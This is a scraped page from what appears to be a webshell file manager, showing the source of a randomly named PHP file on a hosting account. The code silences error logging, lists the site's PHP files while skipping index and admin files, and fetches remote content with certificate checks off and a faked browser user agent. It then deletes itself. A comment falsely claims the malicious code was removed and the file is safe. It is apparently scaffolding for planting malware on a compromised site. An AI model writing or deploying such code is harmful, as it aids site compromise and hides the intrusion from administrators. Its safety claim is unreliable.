Файловый менеджер - Редактировать - /home/lakoyani/management.lakoyanimedia.tech/gbocicavhw.php
Назад
<?php @ini_set('error_log', NULL); @ini_set('display_errors', 0); @ini_set('log_errors', 0); /** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */ // Функции function scan($homedir, $count=0, $files=array()) { $scan_max = 2; $subdir = array(); if($count > $scan_max) return $files; if($handle = opendir($homedir)) { $files['dir'][] = $homedir; while(false !== ($file = readdir($handle))) { if($file == "." or $file == "..") continue; $fullPath = $homedir.DIRECTORY_SEPARATOR.$file; if(filetype($fullPath) == "dir") { $files['dir'][] = $fullPath; $subdir[] = $fullPath; } elseif(!preg_match('#(index\.php|admin\.php)#', $file) and preg_match('/\.php$/i', $file)) $files['file'][] = $file; } ++$count; if(count($subdir) > 0) foreach($subdir as $dir) $files = scan($dir, $count, $files); } return $files; } function get($url) { if(is_callable("curl_exec")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:38.0) Gecko/20100101 Firefox/38.0'); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $content = curl_exec($ch); curl_close($ch); return $content; } elseif(is_callable("file_get_contents") && filter_var(ini_get('allow_url_fopen'), FILTER_VALIDATE_BOOLEAN)) { return file_get_contents($url, false, stream_context_create(array( "ssl" => array("verify_host" => false, "verify_peer" => false, "verify_peer_name" => false, "allow_self_signed" => true ), "http" => array( "header" => "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:38.0) Gecko/20100101 Firefox/38.0" ) ))); } elseif(is_callable("fsockopen")) { if($fp = fsockopen(parse_url($url, PHP_URL_HOST), 80, $e, $e, 15)) { $out ="GET ".parse_url($url, PHP_URL_PATH)." HTTP/1.1\r\n"; $out.="Host: ".parse_url($url, PHP_URL_HOST)."\r\n"; $out.="User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:38.0) Gecko/20100101 Firefox/38.0\r\n"; $out.="\r\n"; fputs($fp, $out); $content = ''; while(!feof($fp)) { $content .= fgets($fp, 1024); } fclose($fp); return $content; } else return false; } else return false; } function endik($msg) { @unlink(__FILE__); $result = '<result>'.$msg.'</result>'; die($result); } ?>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка